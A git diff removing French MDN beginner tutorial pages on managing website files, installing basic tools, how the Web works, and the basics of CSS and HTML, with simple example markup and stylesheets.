  2. Les navigateurs, les serveurs web et les différents langages de programmation ne gèrent pas tous les espaces de la même façon. Par exemple, si vous utilisez un espace dans le nom du fichier, certains systèmes considèreront que le nom du fichier correspond à celui de deux fichiers. Certains serveurs remplaceront les espaces dans le nom du fichier par « %20 » (le code de caractère pour représenter les espaces dans les URI), ce qui cassera tous vos liens. Il est préférable de séparer les mots avec des tirets, plutôt que des soulignés : mon-fichier.html vs. mon_fichier.html.
    3. -
- -

La réponse la plus simple est d'utiliser le trait d'union (-) pour les noms de fichiers. Le moteur de recherche de Google traite le tiret comme un séparateur de mots, mais n'opère pas de même pour le souligné (_). Pour ces raisons, il est préférable d'écrire les noms des fichiers et dossiers en minuscules sans espaces, les mots étant séparés par des tirets, à moins d'être sûr de ce que vous faites. Cela vous permettra d'éviter certains problèmes en chemin, plus tard.

- -

Quelle structure mettre en place pour votre site web ?

- -

Cela dit, regardons la structure que le site de test devrait avoir. Les éléments retrouvés quasiment dans tout projet de site web sont un fichier HTML d'index, des dossiers pour les images, les scripts et les feuilles de style. Créons‑les maintenant :

- -
    -
  1. index.html : ce fichier contiendra généralement le contenu de votre page d'accueil, c'est-à-dire le texte et les images que les gens verront lorsqu'ils arriveront sur votre site. Avec votre éditeur de texte, créez un fichier nommé index.html puis enregistrez‑le dans votre dossier site-test.
    2. -
  2. un dossier images : ce dossier contiendra toutes les images utilisées pour votre site. Créez un dossier nommé images dans votre dossier site-test.
    3. -
  3. un dossier styles : ce dossier contiendra le code des CSS utilisé pour la mise en forme du contenu (par exemple pour définir les couleurs à utiliser pour le texte et l'arrière-plan). Créez un dossier nommé styles dans votre dossier site-test.
    4. -
  4. un dossier scripts : ce dossier contiendra le code JavaScript utilisé pour ajouter des fonctionnalités interactives sur votre site (par exemple, des boutons qui permettent de charger des données lorsqu'on clique dessus). Créez un dossier nommé scripts dans votre dossier site-test.
    5. -
- -
-

Note : Sur Windows, vous aurez peut être des problèmes pour voir le nom des fichiers en entier. En effet, Windows possède une option, activée par défaut : Masquer les extensions pour les types de fichiers connus. Généralement, il est possible de la désactiver en allant dans l'explorateur de fichiers, en sélectionnant   Options des dossiers..., en enlevant la coche de Masquer les extensions pour les types de fichier connus puis en cliquant sur OK. Pour des informations propres à votre version de Windows, recherchez sur le Web !

-
- -

Les chemins de fichiers

- -

Pour que les fichiers puissent converser entre eux, il faut préciser le chemin pour les trouver — en résumé, la route qu'un fichier doit connaître pour situer l'autre fichier. Nous allons illustrer cela avec un peu de HTML dans index.html pour que la page affiche l'image choisie dans l'article « Quel aspect pour votre site web ? ».

- -
    -
  1. Copiez l'image précédemment choisie dans votre dossier images.
    2. -
  2. Ouvrez le fichier index.html et insérez le code suivant exactement comme indiqué. Ne vous préoccupez pas de sa signification pour le moment — nous verrons les structures plus en détail par la suite. - 
    <!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>Ma page de test</title>
-  </head>
-  <body>
-    <img src="" alt="Mon image de test">
-  </body>
-</html>
    -
    3. -
  3. La ligne qui contient <img src="" alt="Mon image de test"> correspond au code HTML qui insère une image dans la page. Il faut indiquer au HTML là où l'image se trouve. Cette image est à l'intérieur du dossier images et ce dossier se situe dans le même dossier qu'index.html. Pour parcourir l'arborescence des fichiers depuis index.html jusqu'à l'image, le chemin à utiliser est images/votre‑fichier‑image. Par exemple, si l'image est nommée firefox‑icon.png, le chemin sera images/firefox-icon.png.
    4. -
  4. Insérez le chemin vers le fichier image dans le code HTML, entre les guillemets dans src="".
    5. -
  5. Sauvegardez votre fichier HTML puis chargez la page dans votre navigateur (il suffit de double-cliquer sur le fichier). Vous devriez obtenir une nouvelle page web affichant l'image !
    6. -
- -

A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world

- -

Quelques règles générales à propos des chemins de fichier :

- - - -

Pour le moment, c'est tout ce qu'il y a à savoir.

- -
-

Note : Le système de fichiers Windows utilise des barres obliques inversées (backslash : « \ ») et non des barres obliques (slash : « / »), par exemple C:\windows. Cela n'intervient pas en HTML — même si vous développez votre site sur Windows, vous devez toujours utiliser des barres obliques  (« / ») dans votre code..

-
- -

Autre chose ?

- -

C'est tout ce qu'il y a à faire pour le moment en ce qui concerne les fichiers. Votre arborescence de fichiers devrait ressembler à cela :

- -

A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/commencer_avec_le_web/index.html b/files/fr/apprendre/commencer_avec_le_web/index.html deleted file mode 100644 index 88479469c9..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Commencer avec le Web -slug: Apprendre/Commencer_avec_le_web -tags: - - CSS - - Conception - - Débutant - - Guide - - HTML - - Index - - Theorie - - Web - - publication -translation_of: Learn/Getting_started_with_the_web ---- -
{{LearnSidebar}}
- -
-

Commencer avec le Web est une suite concise d'articles vous présentant la pratique du développement web. Vous installerez les outils nécessaires pour construire une simple page web et publier votre code.

-
- -

L'histoire de votre premier site web

- -

Créer un site web professionnel nécessite beaucoup de travail. C'est pourquoi, si vous débutez, nous vous encourageons à commencer par quelque chose de simple. Vous n'allez pas bâtir un nouveau Facebook dès le départ, mais il n'est pas bien compliqué de mettre en ligne votre propre site web. C'est par là que nous allons commencer.

- -

En parcourant les articles listés ci-dessous, vous pourrez créer votre première page web et la mettre en ligne. Allons-y !

- -

Installer les outils de base

- -

Beaucoup d'outils sont disponibles afin de construire un site web. Si vous débutez, vous serez peut-être perturbé par la quantité d'éditeurs de code, de "frameworks" ou encore d'outils de tests disponibles. Dans cet article nous décrivons, pas à pas, comment installer les seuls outils strictement nécessaires afin de développer un site web.

- -

Quel sera l'aspect de votre site ?

- -

Avant de commencer à écrire le code de votre site web, vous devez d'abord le concevoir. Quelles informations choisissez-vous de mettre en avant ? Quelles polices de caractères et quelles couleurs utiliser ? Dans cet article, nous vous proposons une méthode simple pour planifier au mieux le contenu et la conception de votre site.

- -

Gestion des fichiers

- -

Un site web contient plusieurs types de fichiers (texte, code, feuilles de styles, multimedia, etc.). Construire un site web revient à créer une structure dans laquelle ces fichiers peuvent interagir les uns avec les autres. Dans cet article, nous détaillerons cette problématique tout en expliquant comment donner une structure cohérente à votre site web.

- -

Les bases de HTML

- -

Hypertext Markup Language (HTML) correspond au code que vous utiliserez pour structurer les différents contenus en ligne. Par exemple, le contenu sera‑t‑il un ensemble de paragraphes, ou une liste à puces ? Y aura‑t‑il des images insérées ? Aurai‑je une table de données ? Sans vous submerger, Les bases du HTML vous donne assez d'informations pour que vous soyez un familier du HTML.

- -

Les bases des CSS

- -

Les Cascading Stylesheets (CSS) (« feuilles de styles en cascade ») reçoivent le code à utiliser pour mettre en forme votre site Web. Par exemple, voulez‑vous que le texte soit en noir ou en rouge ? Où le contenu doit‑il être placé sur l'écran ? Quelles devront être les images de fond et les couleurs utilisées pour décorer votre site web ? « Les bases des CSS » vous apprendra tout ce dont vous avez besoin pour commencer.

- -

Les bases de JavaScript

- -

JavaScript est le langage de programmation à utiliser pour ajouter des fonctionnalités interactives dans vos sites Web, par exemple des jeux, les événements déclenchés lorsqu'un bouton est pressé ou lorsque des données sont entrées dans un formulaire, des effets de style dynamiques, des animations, etc. Les bases de JavaScript vous offrent un aperçu des possibilités de ce puissant langage et vous montre comment commencer à l'utiliser.

- -

Publier votre site web

- -

Une fois votre code écrit et la structure des fichiers organisée, vous devez tout mettre en ligne pour permettre son accès aux autres. Publier votre site Web décrit comment mettre en ligne votre site web avec un effort minimum.

- -

Le fonctionnement du Web

- -

Une succession d'opérations complexes, dont vous n'avez pas forcément à vous soucier, intervient chaque fois que vous accédez à votre site Web favori. Le fonctionnement du Web décrit ce qui se passe lorsque vous affichez un site web sur votre ordinateur.

- -

Voir aussi

- -

Le Web démystifié : une grande série de vidéos expliquant les fondamentaux du Web, visant à parfaire des débutants dans le développement Web. Créée par Jérémie Patonnier.

diff --git a/files/fr/apprendre/commencer_avec_le_web/installation_outils_de_base/index.html b/files/fr/apprendre/commencer_avec_le_web/installation_outils_de_base/index.html deleted file mode 100644 index 0a7ad53559..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/installation_outils_de_base/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Installation des outils de base -slug: Apprendre/Commencer_avec_le_web/Installation_outils_de_base -tags: - - Apprendre - - Débutant - - Navigateurs - - Outils - - Setup - - Web - - Éditeurs de texte -translation_of: Learn/Getting_started_with_the_web/Installing_basic_software ---- -
{{LearnSidebar}}
-{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}}
- -
-

Dans cet article, nous allons vous montrer les outils dont vous aurez besoin pour développer un site web simple, ainsi que leur installation.

-
- -

Quels outils utilisent les professionnels ?

- - - -

De quels outils ai-je besoin tout de suite ?

- -

Cette liste peut paraître effrayante, mais heureusement vous pouvez vous lancer dans le développement web sans rien savoir de tout cela. Dans cet article nous allons vous présenter le minimum : un éditeur de texte et quelques navigateurs web modernes.

- -

Installer un éditeur de texte

- -

Vous avez probablement un éditeur de texte basique sur votre ordinateur. Par défaut Windows propose Notepad et macOS, TextEdit. Pour les distributions Linux cela varie. Ubuntu propose gedit par défaut.

- -

Pour le développement web, vous trouverez surement mieux que Notepad ou TextEdit. Nous vous recommandons de commencer avec Visual Studio Code,  qui est un éditeur libre offrant des aperçus en direct et des conseils de code.

- -

Installer un navigateur moderne

- -

Pour l'instant, nous n'installerons que deux navigateurs pour y tester notre code. Choisissez votre système d'exploitation ci-dessous et cliquez sur les liens pour télécharger les programmes d'installation correspondants à vos navigateurs favoris :

- - - -

Avant de continuer, vous devriez installer au moins deux de ces navigateurs et les préparer pour les tests.

- -

Note: Internet Explorer n'est pas compatible avec les dernières améliorations proposées par le Web. Il est possible que votre projet ne fonctionne pas sur ce navigateur. Vous n'avez généralement pas à vous soucier de rendre vos projets Web compatibles avec celui-ci, car très peu de personnes l'utilisent encore. Mais pour certains besoins spécifique, il faudra rendre votre projet compatible.

- -

Installer un serveur web local

- -

Certains projets Web ont besoin d'être lancés sur un serveur Web pour fonctionner correctement. Vous pouvez trouver ces explications ici: Comment installer en local un serveur de tests ?

- -

{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/commencer_avec_le_web/le_fonctionnement_du_web/index.html b/files/fr/apprendre/commencer_avec_le_web/le_fonctionnement_du_web/index.html deleted file mode 100644 index bc98c99021..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/le_fonctionnement_du_web/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Le fonctionnement du Web -slug: Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web -tags: - - Apprendre - - Client - - DNS - - Débutant - - HTTP - - IP - - Infrastructure - - Serveur - - TCP - - Web -translation_of: Learn/Getting_started_with_the_web/How_the_Web_works ---- -
{{LearnSidebar}}
-{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}
- -
-

Cet article illustre, de façon simplifiée, ce qui se passe quand une page web s'affiche dans un navigateur, sur votre ordinateur ou votre téléphone.

-
- -

Ces éléments théoriques ne sont pas strictement nécessaires pour commencer à faire du développement web dans un premier temps. Cependant, ils seront plus qu'utiles pour mieux comprendre comment le Web fonctionne en arrière-plan.

- -

Des clients et des serveurs

- -

Les ordinateurs qui se connectent au Web sont appelés des clients et des serveurs. Voici un diagramme simplifié qui illustre comment ils interagissent :

- -

- - - -

Les autres composants du Web

- -

Le client et le serveur ne sont pas les seuls éléments qui interviennent. Il y a beaucoup d'autres composants que nous allons décrire dans la suite de cet article.

- -

Faisons un parallèle entre le Web et une rue. D'un côté de la rue, il y a une maison qui correspond au client. De l'autre côté,  un magasin correspondant au serveur, et dans lequel vous souhaitez acheter quelque chose.

- -

- -

En plus du client et du serveur, nous devons aussi mentionner :

- - - -

Donc que se passe-t-il, exactement ?

- -

Lorsque vous saisissez une adresse web dans votre navigateur (dans notre comparaison, c'est comme aller au magasin) :

- -
    -
  1. le navigateur demande au DNS l'adresse réelle du serveur contenant le site web (vous trouvez l'adresse du magasin).
    2. -
  2. le navigateur envoie une requête HTTP au serveur pour lui demander d'envoyer une copie du site web au client (vous allez au magasin et vous passez commande). Ce message, et les autres données envoyées entre le client et le serveur, sont échangés par l'intermédiaire de la connexion internet en utilisant TCP/IP.
    3. -
  3. si le serveur accepte la requête émise par le client, le serveur envoie un message « 200 OK » au client qui signifie : « Pas de problème, tu peux consulter ce site web, le voici ». Ensuite le serveur commence à envoyer les fichiers du site web au navigateur sous forme d'une série de petits morceaux nommés "paquet" (le magasin vous livre les produits et vous les ramenez chez vous).
    4. -
  4. le navigateur assemble les différents morceaux pour recomposer le site web en entier puis l'affiche sur votre écran (les produits sont à votre porte —  des nouveaux trucs tout neufs, génial !).
    5. -
- -

Des explications sur le DNS

- -

Les vraies adresses Web ne sont pas les chaînes agréables et mémorisables que vous tapez dans votre barre d'adresse pour trouver vos sites Web favoris, mais des suites de chiffres. Ces suites de chiffre sont des nombres spéciaux qui ressemblent à ceci : 63.245.208.195.

- -

Ce sont des {{Glossary("IP Address", "adresses IP")}} ; elles représentent un endroit unique sur le Web. Par contre, elles ne sont pas très faciles à retenir (n'est‑ce pas ?). C'est pour cela que le système des noms de domaine (DNS) a été conçu. Les serveurs DNS sont des serveurs spéciaux qui font correspondre une adresse web saisie dans le navigateur (par exemple « mozilla.org ») avec l'adresse réelle (IP) du serveur du site.

- -

Il est possible d'atteindre directement les sites web en utilisant leurs adresses IP. Pour aller sur le site de Mozilla, vous pouvez saisir 63.245.215.20 dans la barre d'adresse d'un nouvel onglet de votre navigateur.

- -

A domain name is just another form of an IP address

- -

Explications sur les paquets

- -

Un peu plus haut dans l'article, nous avons utilisé le terme « paquet » pour décrire le format avec lequel les données étaient envoyées depuis le serveur vers le client. Qu'est-ce que cela signifie ? Pour simplifier, lorsque des données sont envoyées sur le Web, elles sont envoyées en milliers de petits morceaux afin que de nombreux utilisateurs puissent consulter la même page web au même moment. Si les sites web étaient envoyés en un seul gros morceau, un seul utilisateur pourrait le télécharger à un moment donné (les autres devraient attendre leur tour), ce qui rendrait le web beaucoup moins pratique à utiliser et beaucoup moins performant.

- -

Voir aussi

- - - -

Crédit

- -

Photo de rue : Street composing, par Kevin D.

- -

{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/commencer_avec_le_web/les_bases_css/index.html b/files/fr/apprendre/commencer_avec_le_web/les_bases_css/index.html deleted file mode 100644 index c547529be9..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/les_bases_css/index.html +++ /dev/null @@ -1,287 +0,0 @@ ---- -title: Les bases des CSS -slug: Apprendre/Commencer_avec_le_web/Les_bases_CSS -tags: - - Apprendre - - CSS - - Code CSS - - Débutant - - Styles - - Web -translation_of: Learn/Getting_started_with_the_web/CSS_basics ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}}
- -
-

Les CSS (Cascading Style Sheets en anglais, ou « feuilles de style en cascade ») sont le code utilisé pour mettre en forme une page web. Les bases des CSS présentent ce qu'il faut savoir pour commencer. Nous répondrons à des questions comme : Comment rendre mon texte rouge ou noir ? Comment faire apparaître mon contenu à tel endroit de l'écran ? Comment décorer ma page web avec une image ou une couleur d'arrière-plan ?

-
- -

Donc, que sont les CSS, réellement ?

- -

De la même façon que HTML, CSS n'est pas vraiment un langage de programmation. C'est un langage de feuille de style, c'est-à-dire qu'il permet d'appliquer des styles sur différents éléments sélectionnés dans un document HTML. Par exemple, on peut sélectionner tous les éléments d'une page HTML qui sont paragraphes et afficher leurs textes en rouge avec ce code CSS :

- -
p {
-  color: red;
-}
- -

Faisons un essai : copiez ces trois lignes de code CSS dans un nouveau fichier dans votre éditeur de texte, puis sauvegardez le fichier sous le nom style.css dans votre répertoire styles.

- -

Pour que cela fonctionne, il faut appliquer le CSS au document HTML, sinon la mise en forme décrite dans le fichier CSS n'affectera pas l'affichage de la page HTML dans la navigateur (si vous n'avez pas suivi toutes les étapes pour arriver ici, vous pouvez lire l'article Gérer les fichiers et Les bases du HTML pour savoir par où commencer).

- -
    -
  1. Ouvrez votre fichier index.html et copiez la ligne suivante quelque part au sein de l'élément head (c'est-à-dire entre les balises <head> et </head>) : - - 
    <link href="styles/style.css" rel="stylesheet" type="text/css">
    -
    2. -
  2. Sauvegardez index.html puis chargez-le dans votre navigateur. Vous devriez obtenir quelque chose comme :
    3. -
- -

A mozilla logo and some paragraphs. The paragraph text has been styled red by our css.Si le texte de votre paragraphe s'affiche en rouge, félicitations ! Vous venez d'écrire votre premier CSS fonctionnel !

- -

Anatomie d'une règle CSS

- -

Regardons un peu plus en détails ce que nous avons écrit en CSS :

- -

Diagramme expliquant les différents éléments d'une déclaration CSS

- -

Cette structure s'appelle un ensemble de règles (ou seulement « une règle »). Les différentes parties se nomment :

- -
-
Sélecteur
-
C'est le nom de l'élément HTML situé au début de l'ensemble de règles. Il permet de sélectionner les éléments sur lesquels appliquer le style souhaité (en l'occurence, les éléments p). Pour mettre en forme un élément différent, il suffit de changer le sélecteur.
-
Déclaration
-
C'est une règle simple comme color: red; qui détermine les propriétés de l'élément que l'on veut mettre en forme.
-
Propriétés
-
Les différentes façons dont on peut mettre en forme un élément HTML (dans ce cas, color est une propriété des éléments p). En CSS, vous choisissez les différentes propriétés que vous voulez utiliser dans une règle CSS.
-
Valeur de la propriété
-
À droite de la propriété, après les deux points, on a la valeur de la propriété. Celle-ci permet de choisir une mise en forme parmi d'autres pour une propriété donnée (par exemple, il y a d'autres couleurs que red pour la propriété color).
-
- -

Les autres éléments importants de la syntaxe sont :

- - - -

Ainsi, si on veut modifier plusieurs propriétés d'un coup, on peut utiliser plusieurs déclarations dans une seule règle en les séparant par des points-virgules :

- -
p {
-  color: red;
-  width: 500px;
-  border: 1px solid black;
-}
- -

Sélectionner plusieurs éléments

- -

Il est aussi possible de sélectionner plusieurs types d'éléments pour appliquer à tous une même règle. Il suffit de placer plusieurs sélecteurs, séparés par des virgules. Par exemple :

- -
p,li,h1 {
-  color: red;
-}
- -

Les différents types de sélecteurs

- -

Il y a différents types de sélecteurs. Dans les exemples précédents, nous n'avons vu que les sélecteurs d'élément qui permettent de sélectionner les éléments HTML d'un type donné dans un document HTML. Mais ce n'est pas tout, il est possible de faire des sélections plus spécifiques. Voici quelques-uns des types de sélecteur les plus fréquents :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom du sélecteurCe qu'il sélectionneExemple
Sélecteur d'élément (parfois appelé « sélecteur de balise » ou « sélecteur de type »)Tous les éléments HTML d'un type donné.p
- sélectionne tous les <p>
Sélecteur d'IDL'élément d'une page qui possède l'ID fourni (pour une page HTML donné, on ne peut avoir qu'un seul élément pour un ID donné).#my-id
- sélectionne <p id="my-id"> ou <a id="my-id">
Sélecteur de classeLes éléments d'une page qui sont de la classe donnée (pour une page donnée, il est possible d'avoir plusieurs éléments qui partagent une même classe)..my-class
- sélectionne <p class="my-class"> et <a class="my-class!">
Sélecteur d'attributLes éléments de la page qui possèdent l'attribut donné.img[src]
- sélectionne <img src="monimage.png"> mais pas <img>
Sélecteur de pseudo-classeLes éléments donnés mais uniquement dans un certain état (par exemple quand on passe la souris dessus).a:hover
- sélectionne <a> mais uniquement quand le pointeur de la souris est au-dessus du lien.
- -

Il existe plein d'autres sélecteurs, pour tous les découvrir, vous pouvez lire notre guide sur les sélecteurs.

- -

Les polices (fontes) et le texte

- -

Maintenant que nous avons vu quelques bases de CSS, ajoutons quelques règles et informations à notre fichier style.css pour que notre exemple soit réussi. Tout d'abord, améliorons les polices et le texte.

- -
    -
  1. Pour commencer, revenez quelques étapes en arrière et récupérez le résultat de Google Fonts enregistré quelque part. Ensuite, ajoutez l'élément <link ... > quelque part au sein de head dans le fichier index.html (c'est-à-dire quelque part entre les balises <head> et </head>). Ça devrait ressembler à : - - 
    <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    -
    2. -
  2. Ensuite, supprimez la règle existante dans votre fichier style.css. Cette règle était pratique pour tester mais afficher du texte en rouge n'est pas la meilleure des mises en forme.
    3. -
  3. Ajoutez les lignes suivantes à leur place, en remplaçant la ligne avec modèle avec la ligne fournie par Google Fonts qui contient font-family (font-family représente la (ou les) police(s) qu'on veut utiliser pour le texte). Ce premier ensemble de règles définit une police de base et sa taille pour toute la page (<html> est l'élément parent de tous les éléments de la page, tous les éléments contenus dans la page hériteront donc de la même font-size et font-family) : - 
    html {
-  font-size: 10px; /* px signifie 'pixels': la taille de base pour la police est désormais 10 pixels de haut  */
-  font-family: 'Open Sans', sans-serif; /* cela devrait être le reste du résultat obtenu à partir de Google fonts */
-}
    - -
    -

    Note: Tout ce qui est entre /* et */ dans un document CSS est un commentaire  de CSS.  Le navigateur l'ignorera dans le rendu du code. C'est un endroit commode pour écrire des notes à propos de ce que vous faites.

    -
    -
    4. -
  4. Ensuite, fixons les tailles des différents textes contenus dans le corps du HTML ({{htmlelement("h1")}}, {{htmlelement("li")}}, et {{htmlelement("p")}}). Nous allons également centrer le texte du titre et donner une taille de ligne et un espacement de caractère entre les lettres pour que le contenu du corps (body) du document soit plus lisible : - 
    h1 {
-  font-size: 60px;
-  text-align: center;
-}
-
-p, li {
-  font-size: 16px;
-  line-height: 2;
-  letter-spacing: 1px;
-}
    -
    5. -
- -

Vous pouvez ajuster ces valeurs en px comme vous voulez pour que le style obtenu soit celui que vous souhaitez. Vous devriez obtenir quelque chose comme ça :

- -

a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered

- -

Boîtes, boîtes, encore et toujours des boîtes

- -

Vous verrez rapidement qu'avec les CSS, tout tourne autour de boîtes : définir leurs tailles, leurs couleurs, leurs positions, etc. Les éléments HTML d'une page peuvent, pour la plupart, être vus comme des boîtes placées les unes sur les autres.

- -

a big stack of boxes or crates sat on top of one another

- -

C'est pour cette raison que l'architecture de CSS est principalement basée sur un modèle de boîtes. Chacun de ces blocs prend un certain espace sur la page, de cette façon :

- - - -

three boxes sat inside one another. From outside to in they are labelled margin, border and padding

- -

Dans cette section, nous utilisons aussi :

- - - -

Allons-y : ajoutons un peu plus de CSS à notre page ! Continuez d'ajouter ces nouvelles règles à la suite des autres. N'ayez pas peur d'expérimenter et de tester différentes valeurs pour voir ce qu'elles font.

- -

Changer la couleur de la page

- -
html {
-  background-color: #00539F;
-}
- -

Cette règle permet de définir la couleur utilisée en arrière-plan pour toute la page. Vous pouvez ici utiliser la valeur que vous aviez choisie lors de la conception de votre site.

- -

Mettre en forme le corps de page

- -
body {
-  width: 600px;
-  margin: 0 auto;
-  background-color: #FF9500;
-  padding: 0 20px 20px 20px;
-  border: 5px solid black;
-}
- -

Occupons-nous de l'élément body. Cet ensemble de règles contient plusieurs déclarations, étudions les, une par une :

- - - -

Positionner le titre et le mettre en forme

- -
h1 {
-  margin: 0;
-  padding: 20px 0;
-  color: #00539F;
-  text-shadow: 3px 3px 1px black;
-}
- -

Vous avez du remarquer qu'il y a un espace horrible en haut du corps de la page. Cela est dû au fait que les navigateurs appliquent un style par défaut à l'élément {{htmlelement("h1")}} (entre autres), même quand vous n'avez défini aucune règle CSS ! À première vue, on pourrait penser que c'est une mauvaise idée et que ce n'est pas au navigateur de décider de la mise en forme. Toutefois, il est préférable que n'importe quelle page, même celles qui n'utilisent pas de CSS, puissent être lisibles et que le lecteur puisse distinguer un titre d'un paragraphe. Pour se débarrasser de cet espace, on « surcharge » le style par défaut avec une marge nulle grâce à margin: 0;.

- -

Ensuite, nous ajoutons 20 pixels de padding en haut et en bas du titre et on prend la même couleur pour la police que celle utilisée pour l'arrière-plan de html.

- -

Une propriété intéressante qu'on a utilisé ici est text-shadow. Cette propriété permet d'applique une ombre au contenu de l'élément. La déclaration utilise quatre valeurs :

- - - -

Là aussi, n'hésitez pas à expérimenter et à essayer différentes valeurs pour voir ce que ça donne.

- -

Centrer l'image

- -
img {
-  display: block;
-  margin: 0 auto;
-}
- -

Dernière chose : on va centrer l'image pour que ce soit plus joli. On pourrait utiliser margin: 0 auto, comme on l'a fait avant, mais on a besoin d'autre chose. L'élément body est un élément de bloc, cela signifie qu'il prend de l'espace et qu'on peut lui appliquer des marges et d'autres valeur pour l'espacement. En revanche, les images sont des éléments inline (ce qu'on pourrait traduire par « en ligne »), ce qui signifie qu'on ne peut pas leur appliquer ces valeurs d'espacement. Pour pouvoir appliquer des marges sur l'image comme pour un bloc, on utilise display: block; pour que l'image se comporte comme un élément de bloc.

- -
-

Note : C'est tout à fait normal si vous ne comprenez pas complètement display: block; et les différences entre bloc et inline. Ça viendra plus tard, une fois que vous aurez plus utilisé CSS. Les différentes valeurs qu'on peut utiliser pour display sont expliquées sur la page de référence de la propriété display.

-
- -

Conclusion

- -

Si vous avez suivi les différentes étapes de cet article, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez aussi voir notre version finale ici) :

- -

a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip.

- -

Si vous êtes bloqué·e quelque part, vous pouvez toujours comparer votre travail avec le code final de cet exemple disponible sur GitHub.

- -

Dans cet article, nous n'avons fait qu'effleurer les bases de CSS. Pour continuer et en apprendre plus, vous pouvez vous rendre sur la page Apprendre CSS.

- -

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/commencer_avec_le_web/les_bases_html/index.html b/files/fr/apprendre/commencer_avec_le_web/les_bases_html/index.html deleted file mode 100644 index b486e94905..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/les_bases_html/index.html +++ /dev/null @@ -1,230 +0,0 @@ ---- -title: Les bases du HTML -slug: Apprendre/Commencer_avec_le_web/Les_bases_HTML -tags: - - Apprendre - - Bases HTML - - Code HTML - - Débutant - - HTML - - Site Web -translation_of: Learn/Getting_started_with_the_web/HTML_basics ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web")}}
- -
-

HyperText Markup Language (HTML) est le code utilisé pour structurer une page web et son contenu. Par exemple, le contenu de votre page pourra être structuré en un ensemble de paragraphes, une liste à puces ou avec des images et des tableaux de données. Comme le suggère le titre, cet article vous fournit les bases de compréhension du HTML et de ses fonctions.

-
- -

Qu'est-ce que HTML, réellement ?

- -

HTML n'est pas un langage de programmation. C'est un langage de balises qui définit la structure de votre contenu. HTML se compose d'une série d'{{Glossary("element", "éléments")}}, utilisés pour entourer, ou envelopper, les diverses parties du contenu pour les faire apparaître ou agir d'une certaine façon. Les {{Glossary("tag", "balises")}} entourantes peuvent être rendues par un mot ou une image lien hypertexte vers quelque chose d'autre, un texte en italique, une police plus grande ou plus petite, et ainsi de suite. Par exemple, avec la ligne de contenu suivante :

- -
Mon chat est très grincheux
- -

Si vous souhaitez que cette ligne reste ainsi, nous indiquerons qu'il s'agit d'un paragraphe en l'entourant des balises paragraphe :

- -
<p>Mon chat est très grincheux</p>
- -

Anatomie d'un élément HTML

- -

Regardons de plus près cet élément paragraphe :

- -

Diagramme décrivant la structure d'un élément HTML

- -

Les composants principaux de notre élément sont :

- -
    -
  1. La balise ouvrante : celle-ci se compose du nom de l'élément (ici « p »), entre deux chevrons. Cela indique le début de l'élément, soit l'endroit à partir duquel celui-ci prend effet. Pour notre exemple, cela indique le début du paragraphe.
    2. -
  2. La balise fermante : ici on a également des chevrons et le nom de l'élément, auxquels on ajoute une barre oblique avant le nom de l'élément. Cela indique la fin de l'élément. Pour notre exemple, cela indique la fin du paragraphe. Oublier la balise fermante est une erreur courante de débutant et peut conduire à de curieux résultats.
    3. -
  3. Le contenu : C'est le contenu de l'élément. Ici, c'est simplement du texte.
    4. -
  4. L'élément : Il est composé de la balise ouvrante, de la balise fermante et du contenu.
    5. -
- -

Les éléments peuvent aussi avoir des « attributs », ce qui ressemble à :

- -

Diagramme explicitant un attribut

- -

Les attributs contiennent des informations supplémentaires qui portent sur l'élément et qu'on ne souhaite pas afficher avec le contenu. Dans cet exemple, l'attribut class permet d'utiliser un nom pour identifier l'élément et ce nom pourra être utilisé plus tard pour la mise en forme ou autre chose.

- -

Un attribut doit toujours avoir :

- -
    -
  1. Un espace entre l'attribut et le nom de l'élément ou l'attribut précédent (s'il y a plusieurs attributs) ;
    2. -
  2. Un nom (le nom de l'attribut), suivi d'un signe égal « = » ;
    3. -
  3. Des guillemets anglais (") pour encadrer la valeur de l'attribut.
    4. -
- -

Imbriquer des éléments

- -

Vous pouvez placer des éléments au sein d'autres éléments, c'est ce qu'on appelle l'imbrication. Par exemple, si vous souhaitez montrer que votre chat est très grincheux, vous pouvez placer le mot « très » dans un élement {{htmlelement("strong")}}, signifiant que le mot sera fortement mis en relief :

- -
<p>Mon chat est <strong>très</strong> grincheux.</p>
